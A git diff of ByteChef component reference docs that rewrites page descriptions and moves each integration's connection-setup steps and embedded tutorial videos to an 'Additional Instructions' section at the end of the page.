+The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/vbout_v1.mdx b/docs/content/docs/reference/components/vbout_v1.mdx
index d293f4cc51a..b460d1820e8 100644
--- a/docs/content/docs/reference/components/vbout_v1.mdx
+++ b/docs/content/docs/reference/components/vbout_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Vbout"
-description: "VBOUT is an AI-enabled marketing platform that helps businesses manage and streamline their digital marketing efforts."
+description: "VBOUT component for ByteChef. Marketing automation. Learn how to implement this in your ByteChef workflows."
+title: Vbout
 ---
 
-
 Categories: Marketing Automation
 
 
@@ -31,7 +30,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -72,8 +70,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Update Contact
 Name: updateContact
 
@@ -110,8 +106,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Create Email Marketing Campaign
 Name: createEmailMarketingCampaign
 
@@ -162,8 +156,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Add Tag To Contact
 Name: addTagToContact
 
@@ -196,8 +188,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Create Email List
 Name: createEmailList
 
@@ -248,8 +238,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Create Social Media Message
 Name: createSocialMediaMessage
 
@@ -286,11 +274,8 @@ This action does not produce any output.
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
-
+To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/vector-store-chat-memory_v1.mdx b/docs/content/docs/reference/components/vector-store-chat-memory_v1.mdx
index 308049290de..7cfa798be44 100644
--- a/docs/content/docs/reference/components/vector-store-chat-memory_v1.mdx
+++ b/docs/content/docs/reference/components/vector-store-chat-memory_v1.mdx
@@ -1,18 +1,11 @@
 ---
-title: "Vector Store Chat Memory"
-description: "Vector Store Chat Memory."
+description: "Vector Store Chat Memory component for ByteChef. Store and retrieve conversation history with vector embeddings."
+title: Vector Store Chat Memory
 ---
 
-
 Categories: Artificial Intelligence
 
 
 Type: vectorStoreChatMemory/v1
 
-<hr />
-
-
-
-
-
-
+<hr />
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/vector-store-document-retriever_v1.mdx b/docs/content/docs/reference/components/vector-store-document-retriever_v1.mdx
index 627fd564540..ce6c14678a0 100644
--- a/docs/content/docs/reference/components/vector-store-document-retriever_v1.mdx
+++ b/docs/content/docs/reference/components/vector-store-document-retriever_v1.mdx
@@ -1,18 +1,11 @@
 ---
-title: "Vector Store Document Retriever"
-description: "Vector Store Document Retriever."
+description: "Vector Store Document Retriever component for ByteChef. Retrieve documents using vector similarity search and embeddings."
+title: Vector Store Document Retriever
 ---
 
-
 Categories: Artificial Intelligence
 
 
 Type: vectorStoreDocumentRetriever/v1
 
-<hr />
-
-
-
-
-
-
+<hr />
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/vertex-gemini_v1.mdx b/docs/content/docs/reference/components/vertex-gemini_v1.mdx
index d4201470523..c8750edaa9d 100644
--- a/docs/content/docs/reference/components/vertex-gemini_v1.mdx
+++ b/docs/content/docs/reference/components/vertex-gemini_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Vertex AI Gemini"
-description: "Vertex AI is a fully-managed, unified AI development platform for building and using generative AI."
+description: "Vertex AI Gemini component for ByteChef. Integrate Google's Gemini AI for intelligent automation and analysis."
+title: Vertex AI Gemini
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -32,7 +31,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -105,12 +103,4 @@ Name: ask
 
 #### Output
 
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
-
+The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/vtiger_v1.mdx b/docs/content/docs/reference/components/vtiger_v1.mdx
index 09425af2990..ed291657aed 100644
--- a/docs/content/docs/reference/components/vtiger_v1.mdx
+++ b/docs/content/docs/reference/components/vtiger_v1.mdx
@@ -31,20 +31,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Find Access Key
-
-1. Navigate to [VTiger](https://www.vtiger.com/) dashboard.
-2. Click on your account icon.
-3. Click on **My Preferences**.
-4. Here you can see your credentials.
-5. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(52.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/ad9fa498-8bd3-49d8-9e44-efd6b4068af8?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -111,8 +97,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Product
 Name: createProduct
 
@@ -167,8 +151,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Me
 Name: getMe
 
@@ -227,5 +209,20 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
 
+### Find Access Key
 
+1. Navigate to [VTiger](https://www.vtiger.com/) dashboard.
+2. Click on your account icon.
+3. Click on **My Preferences**.
+4. Here you can see your credentials.
+5. Done 🚀.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(52.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/ad9fa498-8bd3-49d8-9e44-efd6b4068af8?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/weaviate_v1.mdx b/docs/content/docs/reference/components/weaviate_v1.mdx
index 284f140c332..1932eb55e83 100644
--- a/docs/content/docs/reference/components/weaviate_v1.mdx
+++ b/docs/content/docs/reference/components/weaviate_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Weaviate"
-description: "Weaviate is an open-source vector search engine and database that enables efficient storage, retrieval, and management of high-dimensional data, often used in machine learning and AI applications."
+description: "Weaviate component for ByteChef. Vector search engine. Learn how to implement this in your ByteChef workflows."
+title: Weaviate
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -32,7 +31,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -69,8 +67,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Load Data
 Name: load
 
@@ -87,12 +83,4 @@ Name: load
 
 #### Output
 
-This action does not produce any output.
-
-
-
-
-
-
-
-
+This action does not produce any output.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/webflow_v1.mdx b/docs/content/docs/reference/components/webflow_v1.mdx
index 51aca02f1df..e9d07a5a39e 100644
--- a/docs/content/docs/reference/components/webflow_v1.mdx
+++ b/docs/content/docs/reference/components/webflow_v1.mdx
@@ -30,35 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth2 App
-
-1. Navigate to [Webflow](https://webflow.com) dashboard.
-2. Click on **View dashboard**.
-3. Click on your account.
-4. Click on **Workspaces**.
-5. Click on your workspace.
-6. Click on **Apps & Integrations**.
-7. Click on **Develop**.
-8. Click on **Create an App**.
-9. Enter name and app homepageU URL.
-10. Click on **Continue**.
-11. Enable **Data client (REST API)**.
-12. Enter **Redirect URI** depending on your instance:
-    - `https://app.bytechef.io/callback` (Cloud)
-    - `http://localhost:5173/callback` (Local dev)
-13. Add required scopes and click on **Create App**.
-14. Click this icon.
-15. Click on **Edit App**.
-16. Click on **Building blocks**.
-17. Here you can see your credentials.
-18. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(52.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/92d252f2-4843-47c4-a74b-d0b5d64ea359?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -118,8 +89,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Collection Item
 Name: getCollectionItem
 
@@ -178,11 +147,41 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Create OAuth2 App
+
+1. Navigate to [Webflow](https://webflow.com) dashboard.
+2. Click on **View dashboard**.
+3. Click on your account.
+4. Click on **Workspaces**.
+5. Click on your workspace.
+6. Click on **Apps & Integrations**.
+7. Click on **Develop**.
+8. Click on **Create an App**.
+9. Enter name and app homepageU URL.
+10. Click on **Continue**.
+11. Enable **Data client (REST API)**.
+12. Enter **Redirect URI** depending on your instance:
+    - `https://app.bytechef.io/callback` (Cloud)
+    - `http://localhost:5173/callback` (Local dev)
+13. Add required scopes and click on **Create App**.
+14. Click this icon.
+15. Click on **Edit App**.
+16. Click on **Building blocks**.
+17. Here you can see your credentials.
+18. Done 🚀.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(52.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/92d252f2-4843-47c4-a74b-d0b5d64ea359?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/webhook_v1.mdx b/docs/content/docs/reference/components/webhook_v1.mdx
index b341c34f735..e16974ad2e3 100644
--- a/docs/content/docs/reference/components/webhook_v1.mdx
+++ b/docs/content/docs/reference/components/webhook_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Webhook"
-description: "Webhook is a method utilized by applications to supply real-time information to other apps. Such a process usually delivers data immediately as and when it occurs. Webhook Trigger enables users to receive callouts whenever a service provides the option of distributing signals to a user-defined URL."
+description: "Webhook component for ByteChef. Real-time data delivery. Learn how to implement this in your ByteChef workflows."
+title: Webhook
 ---
 
-
 Categories: Helpers
 
 
@@ -62,8 +61,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ## Triggers
 
 
@@ -90,7 +87,6 @@ null
 ```
 
 
-
 ### Validate and Respond
 Name: validateAndRespond
 
@@ -123,7 +119,6 @@ null
 ```
 
 
-
 ### Await Workflow and Respond
 Name: awaitWorkflowAndRespond
 
@@ -155,9 +150,4 @@ null
   },
   "type" : "webhook/v1/awaitWorkflowAndRespond"
 }
-```
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/whatsapp_v1.mdx b/docs/content/docs/reference/components/whatsapp_v1.mdx
index ce28e35fd16..a8525ac714a 100644
--- a/docs/content/docs/reference/components/whatsapp_v1.mdx
+++ b/docs/content/docs/reference/components/whatsapp_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "WhatsApp"
-description: "WhatsApp is a free-to-use messaging app offering end-to-end encrypted chat, voice, and video communication, along with document and media sharing, available on multiple platforms."
+description: "WhatsApp component for ByteChef. Messaging platform. Learn how to implement this in your ByteChef workflows."
+title: WhatsApp
 ---
 
-
 Categories: Communication
 
 
@@ -31,21 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-To Obtain a Phone Number ID and a Permanent System User Access Token, follow these steps:
-
-1. Go to https://developers.facebook.com/
-2. Make a new app, Select Other for use-case.
-3. Choose Business as the type of app.
-4. Add new Product > WhatsApp.
-5. Navigate to WhatsApp Settings > API Setup.
-6. Copy the Business Account ID.
-7. Login to your [Meta Business Manager](https://business.facebook.com/).
-8. Click on Settings.
-9. Create a new System User with access over the app and copy the access token.
-
-
 
 <hr />
 
@@ -112,8 +96,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -163,4 +145,21 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
+
+
+## Connection Setup
+
+To Obtain a Phone Number ID and a Permanent System User Access Token, follow these steps:
 
+1. Go to https://developers.facebook.com/
+2. Make a new app, Select Other for use-case.
+3. Choose Business as the type of app.
+4. Add new Product > WhatsApp.
+5. Navigate to WhatsApp Settings > API Setup.
+6. Copy the Business Account ID.
+7. Login to your [Meta Business Manager](https://business.facebook.com/).
+8. Click on Settings.
+9. Create a new System User with access over the app and copy the access token.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/wolfram-alpha-full-results_v1.mdx b/docs/content/docs/reference/components/wolfram-alpha-full-results_v1.mdx
index 74df7d51855..a7ed036a8e8 100644
--- a/docs/content/docs/reference/components/wolfram-alpha-full-results_v1.mdx
+++ b/docs/content/docs/reference/components/wolfram-alpha-full-results_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Wolfram Alpha Full Results"
-description: "Wolfram Alpha Full Results returns the computed results of your query in a variety of formats."
+description: "Wolfram Alpha component. Computational knowledge engine. Learn how to implement this in your ByteChef workflows."
+title: Wolfram Alpha Full Results
 ---
 
-
 Categories: Helpers
 
 
@@ -31,21 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Find App ID
-
-1. Navigate to your dashboard.
-2. Click this icon.
-3. Click on **Developer (API)**.
-4. Click on **Get an App ID**.
-5. Enter name, description and API. Select **DullResults API** or **Short Answers API** depending on which API you want to use.
-6. Click on **Submit**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/d97ef559-0f4e-41e9-9fb1-26886d731a32?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -134,5 +118,21 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
+<hr />
+
+# Additional Instructions
 
+## Connection Setup
 
+### Find App ID
+
+1. Navigate to your dashboard.
+2. Click this icon.
+3. Click on **Developer (API)**.
+4. Click on **Get an App ID**.
+5. Enter name, description and API. Select **DullResults API** or **Short Answers API** depending on which API you want to use.
+6. Click on **Submit**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/d97ef559-0f4e-41e9-9fb1-26886d731a32?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/wolfram-alpha-shortanswers_v1.mdx b/docs/content/docs/reference/components/wolfram-alpha-shortanswers_v1.mdx
index 838a9aafb56..4ce3e1360bd 100644
--- a/docs/content/docs/reference/components/wolfram-alpha-shortanswers_v1.mdx
+++ b/docs/content/docs/reference/components/wolfram-alpha-shortanswers_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Wolfram Alpha Short Answers"
-description: "Wolfram Alpha Short Answers returns a single plain text result as an answer to your query."
+description: "Wolfram Alpha Short Answers component. Learn how to implement this in your ByteChef workflows."
+title: Wolfram Alpha Short Answers
 ---
 
-
 Categories: Helpers
 
 
@@ -31,21 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Find App ID
-
-1. Navigate to your dashboard.
-2. Click this icon.
-3. Click on **Developer (API)**.
-4. Click on **Get an App ID**.
-5. Enter name, description and API. Select **DullResults API** or **Short Answers API** depending on which API you want to use.
-6. Click on **Submit**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/d97ef559-0f4e-41e9-9fb1-26886d731a32?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -94,5 +78,21 @@ Type: STRING
 
 
 
+<hr />
+
+# Additional Instructions
 
+## Connection Setup
 
+### Find App ID
+
+1. Navigate to your dashboard.
+2. Click this icon.
+3. Click on **Developer (API)**.
+4. Click on **Get an App ID**.
+5. Enter name, description and API. Select **DullResults API** or **Short Answers API** depending on which API you want to use.
+6. Click on **Submit**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/d97ef559-0f4e-41e9-9fb1-26886d731a32?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/woocommerce_v1.mdx b/docs/content/docs/reference/components/woocommerce_v1.mdx
index 300b4ab7178..952e0546ff2 100644
--- a/docs/content/docs/reference/components/woocommerce_v1.mdx
+++ b/docs/content/docs/reference/components/woocommerce_v1.mdx
@@ -31,34 +31,6 @@ Version: 1
 
 
 
-### Permalink Setup
-
-1. Navigate to your dashboard.
-2. Click on **Settings**.
-3. Click on **Permalinks**.
-4. Select **Post name**.
-5. Click **Save Changes**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/6f7f19f3-0d48-4460-929c-05a898725b0b?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
-## Connection Setup
-
-### Find Application Passwords
-
-1. Navigate to your dashboard.
-2. Go to **WooCommerce** and click on **Settings**.
-3. Click on **Advanced**.
-4. Click on **REST API**.
-5. Select **Create an API key** or **Add Key**.
-6. Add a Description, select the User and select a level of access for this API key: Read access, Write access, or Read/Write access then click **Generate API key**.
-7. Copy generated consumer key and consumer secret and use it in Bytechef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/HmclXOZX5LsOKbyYSkzO?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -197,8 +169,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Customer
 Name: createCustomer
 
@@ -342,8 +312,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Order
 Name: createOrder
 
@@ -597,8 +565,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Product
 Name: createProduct
 
@@ -853,8 +819,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -904,7 +868,6 @@ Type: OBJECT
 ```
 
 
-
 ### New Coupon
 Name: newCoupon
 
@@ -953,10 +916,40 @@ Type: OBJECT
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+### Permalink Setup
+
+1. Navigate to your dashboard.
+2. Click on **Settings**.
+3. Click on **Permalinks**.
+4. Select **Post name**.
+5. Click **Save Changes**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/6f7f19f3-0d48-4460-929c-05a898725b0b?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
+
+## Connection Setup
+
+### Find Application Passwords
+
+1. Navigate to your dashboard.
+2. Go to **WooCommerce** and click on **Settings**.
+3. Click on **Advanced**.
+4. Click on **REST API**.
+5. Select **Create an API key** or **Add Key**.
+6. Add a Description, select the User and select a level of access for this API key: Read access, Write access, or Read/Write access then click **Generate API key**.
+7. Copy generated consumer key and consumer secret and use it in Bytechef.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/HmclXOZX5LsOKbyYSkzO?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/wordpress_v1.mdx b/docs/content/docs/reference/components/wordpress_v1.mdx
index 017e3dcaded..c72f6a2aad6 100644
--- a/docs/content/docs/reference/components/wordpress_v1.mdx
+++ b/docs/content/docs/reference/components/wordpress_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Wordpress"
-description: "WordPress is a web content management system."
+description: "WordPress component for ByteChef. Content management. Learn how to implement this in your ByteChef workflows."
+title: Wordpress
 ---
 
-
 Categories: Productivity and Collaboration
 
 
@@ -31,38 +30,6 @@ Version: 1
 
 
 
-### Permalink Setup
-
-1. Navigate to your dashboard.
-2. Click on **Settings**.
-3. Click on **Permalinks**.
-4. Select **Post name**.
-5. Click **Save Changes**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/6f7f19f3-0d48-4460-929c-05a898725b0b?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
-## Connection Setup
-
-### Find Application Passwords
-
-1. Navigate to your dashboard.
-2. Download the plugin from: https://github.com/WP-API/Basic-Auth (Click on Code -> Download Zip).
-3. Click on **Plugins**.
-4. Click on **Add Plugin**.
-5. Click on **Upload Plugin". And upload previously downloaded plugin in .zip format.
-6. After uploading click on **Install Now**.
-7. Click on **Activate Plugin**.
-8. Click on **Users**.
-9. Click on **Profile**.
-10. Here you can see Application Passwords.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/1293d53d-453b-4fe1-9726-1b868f2ff2ee?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
-
 
 
 <hr />
@@ -221,8 +188,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Update Post
 Name: updatePost
 
@@ -421,8 +386,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Post
 Name: createPost
 
@@ -595,8 +558,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Page
 Name: createPage
 
@@ -764,8 +725,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -829,10 +788,43 @@ Type: OBJECT
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+### Permalink Setup
+
+1. Navigate to your dashboard.
+2. Click on **Settings**.
+3. Click on **Permalinks**.
+4. Select **Post name**.
+5. Click **Save Changes**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/6f7f19f3-0d48-4460-929c-05a898725b0b?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
+
+## Connection Setup
+
+### Find Application Passwords
+
+1. Navigate to your dashboard.
+2. Download the plugin from: https://github.com/WP-API/Basic-Auth (Click on Code -> Download Zip).
+3. Click on **Plugins**.
+4. Click on **Add Plugin**.
+5. Click on **Upload Plugin". And upload previously downloaded plugin in .zip format.
+6. After uploading click on **Install Now**.
+7. Click on **Activate Plugin**.
+8. Click on **Users**.
+9. Click on **Profile**.
+10. Here you can see Application Passwords.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/1293d53d-453b-4fe1-9726-1b868f2ff2ee?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/wrike_v1.mdx b/docs/content/docs/reference/components/wrike_v1.mdx
index 2d75dc4fea6..869b2a67543 100644
--- a/docs/content/docs/reference/components/wrike_v1.mdx
+++ b/docs/content/docs/reference/components/wrike_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Wrike"
-description: "Wrike's Powerful Project Management Software Provides Users with Enterprise-Level Security."
+description: "Wrike component for ByteChef. Project management. Learn how to implement this in your ByteChef workflows."
+title: Wrike
 ---
 
-
 Categories: Project Management
 
 
@@ -30,24 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Find REST API Key
-
-1. Navigate to your dashboard.
-2. Click your account icon.
-3. Click on **Settings**.
-4. Click on **Profile**.
-5. Scroll down and click on **Open Apps & Integrations**.
-6. Click on **+App**.
-7. Enter name of your application and below you can see your OAuth credentials.
-8. Enter a redirect URI, e.g., http://127.0.0.1:5173/callback, https://app.bytechef.io/callback.
-9. Click on **Save**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/2805cbf0-e254-41c9-a7ad-ed1dc38c5d8c?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -119,8 +100,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Folder
 Name: createFolder
 
@@ -189,8 +168,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Project
 Name: createProject
 
@@ -279,8 +256,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Task
 Name: createTask
 
@@ -373,8 +348,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -418,4 +391,24 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
 
+## Connection Setup
+
+### Find REST API Key
+
+1. Navigate to your dashboard.
+2. Click your account icon.
+3. Click on **Settings**.
+4. Click on **Profile**.
+5. Scroll down and click on **Open Apps & Integrations**.
+6. Click on **+App**.
+7. Enter name of your application and below you can see your OAuth credentials.
+8. Enter a redirect URI, e.g., http://127.0.0.1:5173/callback, https://app.bytechef.io/callback.
+9. Click on **Save**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/2805cbf0-e254-41c9-a7ad-ed1dc38c5d8c?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/x_v1.mdx b/docs/content/docs/reference/components/x_v1.mdx
index 40c5b17b6f4..44bd6a8fd5e 100644
--- a/docs/content/docs/reference/components/x_v1.mdx
+++ b/docs/content/docs/reference/components/x_v1.mdx
@@ -30,26 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-1. Log in to the [X developer portal](https://developer.x.com/en/portal/dashboard) and go to the **Overview** tab in your project.
-2. Click on **+ Add App**.
-3. Give your app a name (for example, `ByteChef Integration`) and select **Next**.
-4. Go to the **App Settings**.
-5. In the **User authentication settings**, select **Set Up**.
-6. Set the **App permissions** to **Read and write and Direct message**.
-7. In the **Type of app** section, select **Native App**.
-8. Add the ByteChef OAuth redirect (callback) URL(s):
-    - Cloud: `https://app.bytechef.io/callback`
-    - Local development: `http://127.0.0.1:5173/callback` or `http://localhost:5173/callback`
-9. Add a **Website URL**. Click **Save**.
-10. Click **Yes**.
-11. Copy your **Client ID** and **Client Secret**. You will use these in ByteChef when creating the X connection.
-
